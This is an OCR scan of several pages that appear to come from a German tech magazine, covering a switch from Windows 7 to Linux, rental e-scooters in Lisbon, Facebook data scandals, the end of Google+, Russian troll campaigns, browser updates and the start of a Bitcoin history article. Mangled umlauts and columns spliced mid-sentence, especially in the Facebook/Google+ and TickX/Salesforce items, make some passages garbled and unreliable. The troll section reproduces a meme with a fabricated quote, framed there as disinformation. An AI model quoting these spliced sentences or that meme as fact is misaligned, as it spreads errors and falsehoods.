Funktions-Updates. Da eine Linux-Distri-
bution nicht nur das Betriebssystem be-
reitstellt, sondern auch Anwendungen,
fallen die Updates umfangreicher aus und
haben den grofden Vorteil, dass man na-
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Support-Ende fiir Windows 7: Weg von Microsoft | Praxis

hezu alles aus einer Hand bekommt - es
gentigt also ein Update-Lauf.

Daraus konnte man auch Nachteile
konstruieren: Wenn man die neueste Fas-
sung einer Anwendung verwenden will,
kann es sein, dass man auch auf die ak-
tuellste Fassung der Distribution wech-
seln muss, um sie aus den Paketquellen
installieren zu konnen und Updates dafiir
zu erhalten. Andere Methoden zur
Softwareinstallation sollten Neulinge in
der Anfangszeit meiden, weil sie das Da-
sein sehr schnell sehr verkomplizieren
konnen.

Linux-Distributionen kennen ver-
schiedene Veroffentlichungsweisen. Bei
einem Rolling Release wird Software lau-
fend aktualisiert - das ist fiir Einsteiger
eher ungeeignet und entwickelt eine dhn-
liche Dynamik wie regelméfdige Funk-
tionsupgrades in Microsofts As-a-Service-
Modell fiir Windows. Es geht womdglich
immer mal etwas zu Bruch.

Regulidre Release-Zyklen, wie sie
etwa Ubuntu vorsieht, bringen halbjahr-
lich neue Versionen heraus; andere Distri-
butionen seltener. Fiir ein reguldres Re-
lease liefert Ubuntu nur neun Monate Up-
dates. Bei der Verdffentlichung eines
Nachfolgers hat man also drei Monate
Zeit fiir einen Umstieg darauf. Der Ver-
sionssprung gelingt durch Einspielen von
Updates meist komplikationslos.

Laut Ubuntu entscheiden sich den-
noch deutlich iber 90 Prozent der Nut-
zer fiir die Installation einer sogenannten
»Long Term Support“-Version. Die erhilt
fir fiinf Jahre Updates, allerdings nur der
Kern der Distribution (Pakete in main
und restricted). Von Ubuntu-LTS abgelei-
tete Distributionen wie Mint oder Kubun-
tu definieren eigene Richtlinien fiir die
Laufzeit, in der Regel drei Jahre. Der
Umstieg von einer LTS-Version auf die
nichste gelingt ebenfalls im Rahmen
eines Updates.

Wie starten?

Wenn Sie nach Einsatz der Live-Medien
Gefallen an einer der Linux-Distributio-
nen gefunden haben und tiber die Instal-
lation nachdenken, empfiehlt sich zu-
nichst der Parallelbetrieb, also das
Einrichten an der Seite des bestehenden
Windows. Angesichts purzelnder SSD-
Preise ist heute eine 128 GByte grof3e SSD
fir unter 30 Euro eine pragmatische
Methode, die Windows-Festplatte unan-
getastet zu lassen. Klemmen Sie eine sol-
che SSD in Thren PC und stopseln Sie den
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oder Windows-Datentriger wihrend der
Linux-Installation ab.

Nach getaner Einrichtung konnen Sie
auch die Windows-Platten wieder an-
klemmen und iiber die BIOS-Bootaus-
wahl das eine oder andere Betriebssystem
starten. Keine der beiden Platten enthilt
Verweise auf die jeweilige andere Be-
triebssysteminstallation, die nur mit Fri-
ckelei zu entsorgen wire. Von Linux aus
konnen Sie auf Thre Windows-Dateien zu-
greifen (umgekehrt mit dem Linux Reader
beispielsweise auch, siehe ct.de/ydqc).
Mit dieser Installationsmethode priifen
Sie im Detalil, ob sich Thre Hardware mit
Linux vertrégt.

Wer ein bombensicheres Backup
seiner Windows-Installation und seiner
Daten im Schrank hat, kann sich auch den
Fihigkeiten gingiger Linux-Distributionen
fiir die Parallelinstallation anvertrauen: Sie
verkleinern die Windows-Partitionen oft
problemlos und richten einen Dual-Boot
ein. Dafiir, dass das in jedem Fall klappt,
gibt es aber keine Garantie. Im schlimms-
ten Fall endet der Versuch mit zwei nicht
mehr startfihigen Betriebssystemen.

Softwarerecycling

Linux-Distributionen sind tippig mit Soft-
ware ausgestattet, die eigentlich jeden
Anwendungsfall abdeckt. Was allerdings
nicht klappt: Windows-Software direkt

unter Linux auszufiihren. Es gibt mit Wine
dafiir zwar Ansétze, doch oft muss man
allerhand Verrenkungen ausfiihren, bevor
es klappt. Die entstehende Losung ist eng
an die aktuelle Systemversion gekoppelt;
unter Umstidnden geht es nach einem
Update von vorn los.

Es gibt eine Ausnahme: Steam hat
Wine integriert und sorgt so dafiir, dass
nicht nur native Spiele unter Linux funk-
tionieren, sondern auch viele der Win-
dows-Kracher tadellos laufen. Durch die
Wine-Integration von Valve in Steam
muss man nicht basteln, sondern kann di-
rekt loslegen. Mit vielen Spielen klappt das
prima, leider noch nicht mit allen - in der
Regel krankt es dann am Kopierschutz.

Linux-Anfanger nehmen am besten
eine virtuelle Maschine (VM) zur Hilfe,
um ihre sonstigen Windows-Software-
Goodies dort auszufiihren. VirtualBox er-
laubt mit dlteren Versionen von Windows
in der VM ,,seamless” Betrieb, bei dem
sich Fenster von Windows-Anwendungen
unter die Linux-Fenster mischen. Idealer-
weise gelingt der Betrieb von Windows in
einer VM so, dass es gar keinen Zugriff auf
die Auflenwelt braucht und so auch ohne
Updates noch etwas weiterleben kann.

(ps@ct.de) c&

Download-Adressen, Projekt-Infos:
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Scooter-Dreiklang

Elektrische Roller im Kurzvergleich

Gleich drei Anbieter haben in
den vergangenen Wochen ihre
E-Scooter auf die StraBBen der
portugiesischen Hauptstadt
Lissabon gestellt. SpaBB macht
das vor allem den Touristen.

Von Lutz Labs

-Scooter, also Roller mit Elektroan-

trieb, sollen den Weg von der Halte-
stelle zur Wohnung oder zum Arbeitsplatz
erleichtern. Doch braucht sich nun nicht
jeder einen eigenen Roller zu kaufen: Di-
verse Unternehmen stellen sie zu Hunder-
ten in Grofdstadten ab, zur Miete braucht
man nur eine App und eine Kreditkarte.

In Deutschland sind solche Scooter
noch nicht fiir den Betrieb auf 6ffentlichen
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Straflen zugelassen, aber andere Linder
sind da nicht so zimperlich: In der portu-
giesischen Hauptstadt Lissabon etwa sind
in den vergangenen Wochen drei Anbieter
mit eigenen Angeboten gestartet: Hive,
eine Marke der Daimler-Tochter MyTaxi,
das amerikanische Unternehmen Lime
und Voi aus Schweden. Einige hundert
Roller stehen nun auf den Straflen und
Pliatzen herum und warten auf Kunden.
Der deutsche Anbieter Tier Mobility wird
nach eigenen Angaben in Kiirze starten.

Free Floating

Die Roller stehen nicht an festen Punkten,
sondern da, wo der vorherige Nutzer sie
stehengelassen hat. Wer keinen findet,
ruft die zugehorige Android- oder iOS-
App aufund lédsst sich auf einer Karte ver-
fiigbare Roller in der Nahe anzeigen. Freie
Lime-Roller in einigen Stddten in Austra-
lien und den USA kann man bereits in

Google Maps sehen, in Lissabon war die
Funktion noch nicht freigeschaltet. Eine
spatere Einbindung anderer Anbieter in
Maps ist wohl unwahrscheinlich, da
Googles Konzernmutter Alphabet an
Lime beteiligt ist.

Die Miete lauft immer nach dem glei-
chen Schema ab: passende App aufrufen,
QR-Code auf dem Lenker einscannen und
losfahren. Nach Fahrtende muss man den
Roller in der App wieder zuriickgeben;
wer nur einen Kaffee trinken und danach
weiterfahren mochte, kann ihn auch fir
die weitere Nutzung reservieren.

Startprobleme

Reibungslos lief die Zusammenarbeit der
Apps mit den Rollern jedoch noch nicht.
Die Hive-App etwa vergaf einen ausgelie-
henen Roller; wir konnten ihn nicht zu-
riickgeben. Erst am nichsten Morgen
hatte sich die App wieder daran erinnert.
Fiir die Strecke von einem Kilometer stan-
den knapp 140 Euro auf der Rechnung;
erst der Kontakt mit der Hotline verhin-
derte die hohe Rechnung.

Eine Kostenfalle gab es auch bei
Lime: Nachdem wir den Roller ordnungs-
gemaifd abgestellt und sogar auf Wunsch
der App ein Foto des Standortes geknipst
hatten, berechnete uns Lime eine Straf-
gebiihr von fiinf Euro fiir das Parken im
Parkverbot - einen Hinweis auf den ver-
botenen Abstellplatz gab es nicht. Erst ein
Update wenige Tage spiter zeichnete rote
Bereiche in die Karte ein, die wohl als ver-
boten gelten sollen.

Ein Voi-Roller vergafd einmal sogar
wihrend der Fahrt, dass er ausgeliehen
war und blieb stehen. Uber die App konn-
ten wir den Roller wieder zur Weiterfahrt
iberreden, indem wir ihn kurz ,reser-
vierten®.

Firs Flachland ausreichend, fiir
abschiissige StraBBen nicht:

Der Lime-Roller hat nur eine schwache
Trommelbremse im Hinterrad.
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Voi und Hive setzen auf Roller von Segway. Den Ninebot Kickscooter ES4
bremst man vorne per Rekuperation, hinten rollertypisch mit dem Schutzblech.

Erfahrungen

Lissabon ist eine alte, sehr enge und hi-
gelige Stadt. Radwege gibt es kaum, viele
Fuflwege sind weniger als einen Meter
breit. Spafl macht das Rollern allenfalls
auf den Wegen am Flussufer des Tajo -
und dort finden sich auch die meisten Rol-
ler. In den hoher gelegenen Stadtteilen
sind kaum welche zu finden.

Lissabon-typische Steigungen von
zehn Prozent und mehr kommt man auch
gar nicht hoch, dazu sind die Motoren der
Roller mit maximal 500 Watt viel zu
schwach. Das ist vielleicht sogar Absicht,
denn die Bremsen sind ebenfalls nur fiir
das Flachland konzipiert. Wo man schon
mit einem Fahrrad nicht runterfahren
mochte, will man das mit einem solchen
Roller ganz bestimmt nicht.

Nach unseren Beobachtungen sind es
vornehmlich Touristen, die mit den Rol-
lern unterwegs sind. Sofern die Strecke
eben ist und nicht tiber das in Lissabon all-
gegenwirtige Kopfsteinpflaster fiihrt, sind
die Roller eine gute und schnelle Moglich-
keit, die touristischen Highlights der Stadt
zu besuchen.

Welchen Roller man sich dafiir aus-
leiht, ist egal. Die Lime-Roller fahren laut
GPS-Tacho eines Android-Smartphones
mit 28 km/h am schnellsten, die Modelle
von Hive und Voi sind maximal etwa 25
km/h schnell - auf die Tachoanzeige kann
man sich jedoch nicht verlassen. Die Kos-
ten spielen ebenfalls keine Rolle bei der
Auswahl, denn sie sind bei allen Anbie-
tern gleich: Die Miete kostet einmalig
einen Euro, dazu kommt ein Obolus von
15 Cent pro Minute. Die Preise fiir die Re-
servierung sind bei keinem Anbieter auf-
geflihrt.
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Fiir langere Strecken rechnet sich die
Nutzung eines Rollers nicht: Taxifahren in
Lissabon ist billig, flir eine Fahrt tiber drei
Kilometer zahlten wir gerade einmal fiinf
Euro. Mit dem Scooter brauchten wir fiir
die gleiche Strecke etwa 15 Minuten - zu
zweit also insgesamt 6,50 Euro.

Auf die Stralen haben wir uns nicht
getraut, obwohl das Fahren auf FufSwegen
verboten ist - das hat dort jedoch nieman-
den gestort. Im Sommer aber diirfte sich
das etwas anders darstellen, denn dann
ist Lissabon deutlich voller als im De-
zember.

Aufladen

Die Reichweite betrigt zwischen 20 und
45 Kilometer; um das Aufladen der Akkus
kiimmern sich freie Mitarbeiter, sogenann-
te Juicer. Ist ein Akku leer, sehen diese den
Standort des betroffenen Rollers in einer
eigenen App und konnen ihn einsammeln,
nach Betriebsschluss am Abend sind alle
Roller zum Aufladen freigegeben. Am
nichsten Morgen stellen die Juicer die ge-
ladenen Roller an einer vom Unternehmen
bestimmten Stelle wieder ab.

Bis zu 25 Euro zahlen die Vermieter
den Juicern flir das Aufladen eines Rollers,
meistens aber liegt der Verdienst eher im
kleineren einstelligen Bereich. Voi ver-
spricht, sich um Steuerzahlungen und an-
dere langweilige Dinge zu kiimmern - in
Deutschland aber miissten die Juicer sich
wahrscheinlich selbst damit auseinander-
setzen.

Deutschlandstart

E-Scooter, im Beamtenjargon Elektro-
kleinstfahrzeuge mit Lenkstange, werden
wohl erst im Friihjahr legal auf Deutsch-

Mikromobilitat | News

lands Straflen fahren diirfen. Laut eines
Referentenentwurfs des Bundesministe-
riums fiir Verkehr und digitale Infrastruk-
tur vom Juli 2018 sollen solche Roller etwa
Blinker sowie zwei unabhéngig voneinan-
der funktionierende Bremsen besitzen -
und natiirlich eine Halterung fiir ein
Kennzeichen. Die Motoren diirfen maxi-
mal 500 Watt aufnehmen, die Maximal-
geschwindigkeit betragt 20 km/h. Front-
und Riicklicht miissen wie seitliche Riick-
strahler ebenfalls vorhanden sein.

Die von uns in Lissabon gefahrenen
Roller erfiillen damit allesamt nicht die
deutschen Bestimmungen: keine Blinker,
keine Riickstrahler, keine Kennzeichen-
plakette und im Fall der Lime-Roller fehlt
auch noch eine zweite Bremse.

Lime und Voi diirften dennnoch bald
in Deutschland starten - das lasst sich zu-
mindest aus den Stellenanzeigen der Un-
ternehmen ableiten. Lime sucht nach
Juicern in Berlin, Dortmund, Dusseldorf,
Frankfurt, Koln, Miinchen und Stuttgart,
Voi nach einem deutschsprachigen User
Operations Specialist. Auch die Daimler-
Tochter Hive plant nach eigenen Angaben
den Start in weiteren europaischen Stad-
ten. (ll@ct.de) c&

Meine Fahrten.

Eine nur 1000 Meter lange Fahrt mit
einem Hive-Roller sollte fast 140 Euro
kosten - die App hatte die Verbindung
zum Roller verloren.
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News | Facebook-Datenskandale, Google+-Ende

Datenschutzskandale und
Sicherheitsliicken bei Facebook

Facebook hat mehr als 150 Firmen
detaillierten Zugriff auf die Daten
seiner Nutzer gewéahrt. Manche
Unternehmen durften sogar auf
Privatnachrichten zugreifen.

Facebook hat Partnern weitreichenden
Zugriff auf Nutzerdaten eingerdumt.
Spotify und Netflix etwa haben Lese-,
Schreib- und Losch-Berechtigungen fiir
die Privatnachrichten von Facebook-
Nutzern erhalten. Das hat die New York
Times in einer umfassenden Recherche
herausgefunden, die auf vertraulichen
Dokumenten und zahlreichen Interviews
mit ehemaligen Mitarbeitern basiert.
Grofde Facebook-Partner wie Micro-
soft und Amazon sollen den Recherchen
zufolge mitunter mehr Daten als Cam-
bridge Analytica erhalten haben. Bei den
Deals sei kein Geld geflossen, so die Zei-
tung. Vielmehr sei es darum gegangen,
das gegenseitige Wachstum zu fordern.
Facebook soll beispielsweise Daten aus
Kontaktlisten von Amazon, Yahoo und
Huawei erhalten haben, um seinen Nut-
zern Freunde vorzuschlagen. Die Deals
waren der New York Times zufolge bis
2017, teilweise auch noch bis 2018 aktiv.
Die Recherche der New York Times
steht in einer langen Reihe von Enthtillun-
gen, die in den letzten Wochen offentlich
wurden. So ermoglichte ein Bug im Foto-
API Apps fiir einen kurzen Zeitraum un-
berechtigten Zugriff auf Bilder eines Face-
book-Kontos. Bedingung war, dass der
Nutzer der App zuvor Rechte fiir den Zu-

li Hilfebereich

griff auf bestimmte andere Bilder einge-

raumt hatte. Wahrend der fraglichen 13
Tage im September 2018 konnten Apps
auch auf andere freigegebene Fotos zu-
greifen -und auf solche, die der Benutzer
gar nicht veroffentlicht hat.

Laut Facebook seien Bilder von 6,8
Millionen Benutzern im unberechtigten
Zugriff gewesen. Man wolle fiir Entwickler
ein Tool bereitstellen, mit dem sie priifen
konnten, ob Benutzer ihrer Apps davon

beriihrt waren. Die irische Datenschutz-
i Messages vor, in die einige Features von
i Allo wie Smart Reply, die Verwendung von

behorde DPC hat Mitte Dezember 2018
eine Untersuchung der Panne eingeleitet.

Fiir Aufsehen sorgte auflerdem eine
Recherche des deutschen Datenschutzpor-

schnitten, die das Software Development
Kit von Facebook nutzen, weil es hilfreiche

Analysefunktionen enthélt. Rund 30 Pro-

zent aller Apps, die es im Google Play Store
gibt, nehmen laut mobilsicher.de dariiber

Kontakt zu Facebook auf. Auf diesem Weg :

erfahre das soziale Netzwerk auch eine

Menge iiber die Anwender - gerade von |

Apps, die einen direkten Bezug zu Religion,

Gesundbheit oder politischen Einstellungen

aufweisen. Wer etwa eine Schwanger-
schafts-App wie ,,Schwangerschaft+“

nutze, werde von Facebook wahrscheinlich
bald Werbung fiir Babykleidung zu sehen

bekommen. Apps wie ,Muslim Pro* ver-
raten den Glauben eines Nutzers. Die

Hilfte der Apps erwéahnten das Facebook-
Modul nicht einmal in ihren Datenschutz-
(hob@ct.de)

Glase offline

erkldrungen.

Ein Konto erstellen
Friending

Deine Startseite FacebOOk
Messaging

Fotos

Videos

Gruppen
Ereignisse
.Zahlungen*
Marketplace

Anwendungen und Spiele

Facebook-Handy- und Deskiop-

Wichtige Informationen zu deinen Fotos auf

Wir haben kirzlich ein Problem entdeckt und behoben, das einige der Apps betroffen haben
Seiten kénnte, bei denen du dich iber Facebook angemeldet hast. Du hast diesen Apps die
Berechtigung erteilt, auf deine Fotos auf Facebook zuzugreifen. Normalerweise bedeutet das,
dass diese Apps Zugriff auf deine Facebook-Fotos erhalten, die du in deiner Chronik gepostet
hast. Ein Fehler hat App-Entwicklern zwischen dem 13. und 25. September 2018 auch Zugriff auf
andere Fotos gewahrt, darunter Fotos, die du in deinen Facebook Stories geteilt hast, und solche,
die du zwar hochgeladen aber noch nicht gepostet hattest.

Das Problem, das wir bereits behoben haben, lag darin, wie Apps unsere API verwenden, um auf

~ Artikel teilen

Im Hilfebereich empfiehlt Facebook, samtliche Apps daraufhin zu checken,
auf welche Fotos sie Zugriff hatten, als der Foto-Bug aktiv war.
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i bereits eingeflossen sind.
tals mobilsicher.de. Die Redaktion hatden
Datenverkehr von Android-Apps mitge-

Google+
- schlieBt friiher

Google wird sein soziales Netzwerk
Google+ fiir Privatnutzer bereits Ende April
schliefden, statt wie bisher geplant im Au-

i gust. Das Unternehmen hatte einen Fehler
i gefunden, durch den Anwendungen iiber

das API Zugriff auch auf als nicht 6ffentlich

i markierte Daten erhielten. Ebenfalls keine
i Zukunft hat der Messenger Allo, den Goo-
i gle nur noch bis Mérz weiterbetreibt. An-
i wender haben bis zur Abschaltung noch

Zeit, ihre Chats, Fotos und Videos zu
sichern. Als Ersatz sieht Google seine App

GIFs und die Desktop-Unterstiitzung
(jo@ct.de)

0% :% O1042
< Chat
Chatsicherung

Erlaube den Zugriff auf den Gerdtespeiche
um deine Chats zu sichern

Machrichten aus Chats exportieren
Du kannst eine CSV-Datei mit deinen Nachrichten
herunterladen

Medien aus Chats exportieren
Du kannst eine ZIP-Datei mit deinen Fotos und
Videos herunterladen

In Allos Einstellungen lassen sich Chat-
Nachrichten und Medien exportieren.

Payment-Dienst

Die schwedische Glase SE hat kurzfristig

i Betrieb und Distribution ihrer gleichna-
migen NFC-Payment-App eingestellt. In
i einer Push-Mitteilung informierte Glase

die Nutzer am 12. Dezember 2018, dass in

i wenigen Stunden die Abschaltung des
i Dienstes erfolge. Diese konnten darauthin

Geld, das sich noch auf dem Prepaid-
Konto befand, nicht mehr zurtickbuchen;

¢ die Homepage verweist bei Fragen auf das
i Support-Portal. Glase hatte seine App mit
i einem Cashback-Programm beworben,
i zahlte die Rabatte aber bereits beim Test
im Juli nicht zuverldssig aus (siehe c’t
i 16/2018, S. 70). Diesen Service beendete
i esbereits zum 1. September. (mon@ct.de)
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Russische Trolle:

Staatstrolle, Browser-News | News

Manipulationen via Instagram

Die russischen Internettrolle im Staats-
dienst haben noch deutlich starker auf die
Offentlichkeit Einfluss genommen als
bislang bekannt - und sie sind scheinbar
immer noch aktiv. Das ist das Ergebnis
zweier Studien flir den Geheimdienstaus-

"Who is going to

find out? These

women are trash.

Nobody’s going to
\ believe them."

-- Hillary Clinton
referring to her
husband's sexual
misconduct
victims.

THE WORDS
OF A FEMINIST?
I DON’T THINK SO.

Hillary Clinton als Antifeministin - mit
solche Posts wollen russische Trolle
den gesellschaftlichen Zusammenhalt
schwachen.

schuss des US-Senats. Die Berichte legen
dar, dass es bei den Kampagnen wahrend
der Prasidentschaftswahl 2016 nicht pri-
mér darum gegangen war, Donald Trump
zum Sieg zu verhelfen. Stattdessen legten
sie es daraufan, den gesellschaftlichen Zu-
sammenbhalt in den USA zu schwichen,
Vertrauen in die Institutionen und vor
allem Wahlen zu untergraben und die 6f-
fentliche Debatte zu vergiften.

Eine wichtige Erkenntnis der Exper-
ten ist, dass Instagram fiir die Aktivititen
von grofderer Bedeutung war als bislang
angenommen. So hétten sich die Staats-
trolle vor allem auf diese Facebook-Toch-
ter konzentriert, als ihre Aktivitdten auf
Facebook und Twitter verstirkt in den
Blickpunkt riickten. Angesichts der Berich-
te zeigten sich Vertreter beider Parteien im
US-Kongress alarmiert iiber das aggressive
Vorgehen. Der Ausschussvorsitzende Ri-
chard Burr (Republikaner) findet es am be-
sorgniserregendsten, dass die Aktivitdten
offenbar andauern. (jo@ct.de)

Download der Studien: ct.de/yv8w

Neue Versionen von Chrome,
Firefox und Vivaldi

Der Werbeblocker in Chrome 71 soll
aggressive und irrefiihrende Werbung
besser erkennen und blockieren, bei-
spielsweise Popups. Vor dem Besuch von
Websites mit Angeboten fiir zwielichtige
Handy-Tarife warnt Chrome nun. Mit der
Picture-in-Picture API konnen Entwickler
ein schwebendes Videofenster steuern.
Firefox 64 erleichtert den Umgang
mit vielen gedffneten Tabs. So lassen sich
mehrere Registerkarten markieren und
gemeinsam stummschalten, verschieben,
anheften oder als Lesezeichen setzen.
Firefox vertraut TLS-Zertifikaten nicht
mehr, die von Symantec ausgestellt
wurden. Die Live Bookmarks sind mit
Release 64 aus Firefox entfernt worden.
Vivaldi 2.2 hilft dem Surfer, viele offe-
ne Tabs zu biandigen: Eine Gruppe von
Tabs lésst sich einfach als ,,Sitzung® ab-
speichern. Das neue Release enthilt einen
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Bild-in-Bild-Modus. Videos kdnnen damit
in einem eigenen Fenster laufen, wahrend
der Nutzer nebenbei surft. Unter Linux
hat der Hersteller die Netflix-Unterstiit-
zung verbessert. (jo@ct.de)

Neue Browser-Versionen: ct.de/yv8w

I ’
ce onli ll A U S m
Elr FRTNEO e Tab t
[ker/entertainment/
Lade 3 Tabs neu
Dupliziere 3 Tabs
(4 =
Hefte 3 Tabs an
Verschiebe 3 Tabs in v
| Fige 3 Tabs zu Lesezeichen hinzu In:
C ¥ Alle Tabs zu Lesezeichen hinzufigen r1i
3 gedffnete Tabs als Sitzung speichemn |
Q) it

Vivaldi kann jetzt mehrere Tabs
als Sitzung speichern.
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Timo Egeler

Wenn es darum geht, neue IT-
Umgebungen Kunden

zu konzeptionieren und in die Tat

unserer

umzusetzen, dann bilden unsere
Key Account Manager die zentrale
Anlaufstelle. Sie scheuen keine
Muhen und arbeiten eng mit Ihnen
und den Kollegen aus Consulting
und Technik zusammen. Fragen
Sie einfach unsere heimlichen
Helden - Timo und seine Kollegen

kiimmern sich um den Rest.

+49 (0) 8551.9150-300
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News | Unternehmens-Anwendungen

Angebots-Layouter von Invoiz

Mit Invoiz Impress kann man
anhand branchenspezifischer,
anpassbarer Templates
individualisierte Angebote
layouten.

Ein solches, womdglich mehrseitiges An-
gebot ldsst sich als PDF speichern und aus
dem kaufménnischen Webdienst Invoiz
(siehe ¢’t 9/2018, S. 33) heraus an erfasste
Kunden verschicken. Alternativ kann man
den Empfanger per E-Mail benachrichti-
gen, dass er das Angebot auf dem Web-
server betrachten und direkt annehmen
kann. Angebote konnen mehrere Alter-
nativpositionen enthalten, aus denen der
Kunde interaktiv auswihlt. Nimmt er ein
Angebot an, schickt ihm das System nicht
nur eine Bestitigung, sondern es zeigt den
gednderten Status des Angebots auch
sofort im Web an. So werden mdgliche
Doppelbestellungen ausgeschlossen, falls
etwa mehrere Kollegen nacheinander auf
die Angebotsbenachrichtigung an eine
Firmenadresse reagieren.

Die Preise fiir Impress-erstellte Ange-
bote richten sich nach dem abonnierten

Invoiz-Dienst: Mit dem Standard-Abo fiir
netto 15,99 Euro/Monat kann man ohne
Aufpreis ein Impress-Angebot pro Monat
erstellen, weitere Angebote kosten bei der

kleinsten Mengenstaffel jeweils 2,99 Euro.
Fiir einen monatlichen Betrag von 14,99
Euro lassen sich unbegrenzt viele Impress-
Angebote formulieren. (hps@ct.de)

Angabet 0081

Sehr geehrte Frau Mustermann,

Mit dem Webdienst Invoiz Impress lassen sich individuelle, stylische Angebote

entwerfen und im Web prasentieren.

Kundendienst-Management

mit TickX 3.0

Das Softwarehaus Media-Service hat Ver-
sion 3.0 seiner Ticketverwaltung TickX
auf Basis von Microsoft SharePoint he-
rausgebracht. Mit den darin angelegten
Tickets kann ein Betrieb sowohl Auftrige
flir seinen Kundendienst verfolgen als
auch andere Abldufe, flir die

eine feste Abfolge von Arbeits-

Rerdem kann das System Erinnerungenan
Components von Salesforce, bestehend
betroffenen Personen zustellen. Wenn ein
der-Engine und einem Compiler, dient zur
kann er in TickX 3.0 auch die Begriindung
i teninJavaScript. Mit der Lightning-Platt-
i form lassen sich konfektionierte Sales-
i force-Apps zur Automatisierung von Ge-

offene Aufgaben jetzt gleichzeitig an alle
Anwender den Status eines Tickets dndert,

dazu notieren. (hps@ct.de)

schritten vorgegeben ist.

In der aktuellen Ausgabe
lasst sich die Liste der Kunden-
Stammdaten um zusétzliche
Spalten aus anderen SharePoint-
Inhalten erweitern, um etwa In-
formationen iiber die Ausstat-
tung eines Kunden mit relevan-
ten Artikeln oder eine Bestellhis-
torie anzuzeigen. In einem Ticket

== ==

[cmee ] ]
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e

angeforderte Tétigkeiten lassen
sich jetzt an die Bedingung kniip-
fen, dass der Bearbeiter zuerst
eine Genehmigung einholt. Au-
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Das Ticketsystem TickX 3.0 prasentiert
abrufbare Arbeitspakete in einem Service-
Catalog.

Salesforce Web
Components

Das Programmiermodell Lightning Web
aus einer Format-Spezifikation, einer Ren-

Entwicklung von Lightning-Komponen-

¢ schiftsabliaufen programmieren.

Die Components unterstiitzen die

i JavaScript-Spezifikation ES6+ und sollen
i spezielle Frameworks und Sprach-
i erweiterungen fiir neue Funktionen weit-
i gehend iberfliissig machen. Laut Her-
i steller konnen damit erstellte Module
i und schon vorhandene, gemif dem
i Salesforce-eigenen Modell Aura ent-
i wickelte Lightning-Komponenten ge-
{ meinsam auf derselben Webseite auf-
i tauchen. Neue Module kénnen auch
i innerhalb von Aura-Komponenten in Ak-
! tion treten.

(hps@ct.de)
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Runde Sache

10 Jahre Bitcoin und Blockchain:

Erstaunlich robust

Klimakiller, ungeeignet als
Zahlungsmittel, substanzlos und
iiberhaupt viel zu beschriénkt: Die
Kryptowdhrung Bitcoin hat viele
Fehler, glaubt man ihren Kritikern.
Doch auch nach zehn Jahren
arbeitet die Bitcoin-Blockchain
noch immer nach denselben Regeln
- wihrend die Konkurrenz mitunter
nur dank NotfallmaBnahmen und
Hard Forks liberleben konnte. Das
muss dem Bitcoin-Erfinder Satoshi
Nakamoto erst noch jemand
nachmachen.

Von Mirko Délle

usgerechnet die globale Finanzkrise
hatte sich der vorgebliche Japaner Sa-
toshi Nakamoto als Zeitpunkt ausgesucht:
Waihrend die Regierungen aller Herren
Lander damit beschaftigt waren, ihre
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strauchelnden Banken mit Abermilliarden
Steuergeldern vor dem Untergang zu be-
wahren, veroffentlichte Satoshi am 9. Ja-
nuar 2009 den ersten Block einer revolu-
tiondren neuen Wiahrung. Sie sollte ginz-
lich unabhangig sein von Banken und Re-
gierungen, dezentral und demokratisch,
weder zu kontrollieren noch zu manipu-
lieren - ein Kontrapunkt zum bestehenden
Bankensystem, das sich damals an staat-
liche Rettungsringe klammerte und den-
noch unterzugehen drohte.

Doch wie sollte eine Wahrung funk-
tionieren, bei der es keine zentrale Stelle
gibt, die Guthaben verwaltet oder Uber-
weisungen ausfithrt? Wie sollten Betrug
und Manipulationen verhindert werden,
ohne Beschwerdestelle und ohne Ge-
richtsbarkeit? Der Schliissel ist, simtliche
Transaktionen in einer 6ffentlichen Block-
chain zu speichern - einer Datenstruktur,
die Informatik-Studenten unter dem Be-
griff ,,einfach verkettete Liste“ schon da-
mals im ersten Semester kennenlernten:
Ein Knoten der Liste enthilt neben den

(Transaktions-)Daten einen Verweis auf
den néchsten Knoten. Satoshi nannte die
Knoten Blocke und die verkettete Liste der
Blocke die Blockchain.

Neu war, dass die Blocke nicht etwa
anhand ihrer Nummer in der Blockchain
verkettet wurden, sondern dass der Nach-
folge-Block den Hash-Wert des vorher-
gehenden Blocks referenzierte. Damit
wurde der Hash-Wert eines Blocks zu
seinem Schliisselelement. Der Clou liegt
darin, dass ein Hash-Wert quasi der Fin-
gerabdruck der Daten ist: Verandert man
auch nur ein einzelnes Bit der Daten, er-
gibt das einen vollig anderen Hash-Wert.

Wie sich eine Anderung genau aus-
wirkt, lasst sich nicht vorhersagen - es ist
nicht moglich, die Daten gezielt so zusam-
menzustellen, dass sie einen bestimmten
Hash-Wert ergeben. Wollte man einen be-
stimmten Hash-Wert erreichen, misste
man die Daten immer wieder verandern,
den Hash-Wert neu berechnen und nach-
sehen, ob der neue Wert der Gesuchte ist.
Bei Bitcoin ist dieses Unterfangen noch
einmal schwieriger, weil aus dem
SHA256-Hash-Wert der Daten wiederum
ein SHA256-Hash berechnet wird, der
dann die ID des Blocks darstellt.

Indem ein Block der einfach verket-
teten Bitcoin-Blockchain auf den Hash-
Wert des vorangegangenen Blocks ver-
weist, wird nicht nur die Reihenfolge der
Blocke in der Blockchain eindeutig festge-
legt - gleichzeitig lasst sich mittels Hash-
Wert tiberpriifen, ob auch nur ein einziges
Bit des vorherigen Blocks nachtréglich
manipuliert wurde. Denn jegliche Ande-
rung wiirde bedeuten, dass der Block
einen anderen Hash-Wert besitzt, als im
Nachfolge-Block referenziert ist.

Wollte man die Daten des vorletzten
Blocks manipulieren, so miisste man nicht
nur dessen Hash-Wert neu berechnen,
sondern anschlieffend zusitzlich den
neuen Hash-Wert des letzten Blocks,
damit der im letzten Block genannte
Hash-Wert des Vorgingers mit dem
manipulierten Block tibereinstimmt. Um
etwas im drittletzten Block zu verandern,
wiren schon drei Blocke neu zu berech-
nen, damit die Manipulation unbemerkt
bleibt. Je weiter zurtick der zu manipu-
lierende Block liegt, desto mehr Blocke
miissen neu berechnet werden.

Hiirdenlauf

Keine grofde Hiirde: Selbst die in 2009
gangigen CPUs schafften es, den Hash
eines Block mehrere Millionen Mal pro Se-
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kunde neu zu berechnen - die Hash-Leis-
tung herkdmmlicher Desktop-CPUs lag
damals im Bereich von etwa 1 bis 25 Mega-
Hashes pro Sekunde (MH/s). Schon ein
einzelner Rechner hitte die Bitcoin-Block-
chain nach Belieben verindern konnen.

Damit das nicht passiert, hat Satoshi
die Aufgabe buchstéblich durch einen zu-
satzlichen Schwierigkeitsgrad (Difficulty)
erschwert. Dieser besagt, dass der Hash-
Wert eines akzeptablen Blocks mindes-
tens eine gewisse Anzahl Nullbits am An-
fang aufweisen muss. Hat der Hash-Wert
eines neuen Blocks nicht gentigend Nul-
len, so kann der Rechner eine eigens dafiir
